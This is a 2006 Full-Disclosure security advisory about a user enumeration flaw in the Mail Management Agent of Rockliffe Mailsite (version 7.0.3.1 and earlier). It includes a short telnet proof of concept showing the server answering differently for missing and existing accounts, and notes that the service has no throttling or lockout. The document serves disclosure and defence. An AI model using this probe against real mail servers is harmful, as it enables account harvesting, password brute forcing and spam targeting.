Rockliffe Mailsite User Enumeration Flaw

[Josh Zlatin <jzlatin () ramat cc>]

Synopsis: Rockliffe's Mailsite Mail Management Server User Enumeration Flaw.

Product: Rockliffe Mailsite
         http://www.rockliffe.com

Version: Confirmed on Mailsite <= 7.0.3.1

Author: Josh Zlatin-Amishav

Date: January 4, 2006

Background:
Rockliffe MailSite secure email server software and MailSite MP secure email
gateways provide email server solutions and gateway email protection for 
businesses and service providers. Rockliffe has more than 3,000 customers 
hosting more than 15 million mailboxes worldwide.

Issue:
In working with researchers at Tenable Network Security, I have come across
a user enumeration flaw in the Mail Management Agent (MAILMA). The server 
responds differently depending on whether the user account exists. This affords
an attacker a means of brute forcing passwords and an effective means to 
cultivate valid email addresses for spam.

PoC:

josh@maoz:~$ telnet 10.0.0.6 106
Trying 10.0.0.6...
Connected to 10.0.0.6 (10.0.0.6).
Escape character is '^]'.
200 Ok, "MailSite Mail Management Server (7.0.3.1) ready" 
user IDoNotExist
510 "Error 2 in OpenMailbox, The system cannot find the file specified. "
user postmaster
200 Ok, "send password"

In addition the MailMA service does not block / throttle connection attempts, 
or close a user account after a given number of unsuccessful attempts.

Vendor notified: January 3, 2006 06:12AM

Vendor Response:
Contact your sales rep about purchasing Mailsite 7.0.3.1 
(note version 7.0.3.1 is also vulnerable to this issue)

Solution:
None at this time.

References: http://www.rockliffe.com
References: http://zur.homelinux.com/Advisories/RockliffeMailsiteUserEnum.txt
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/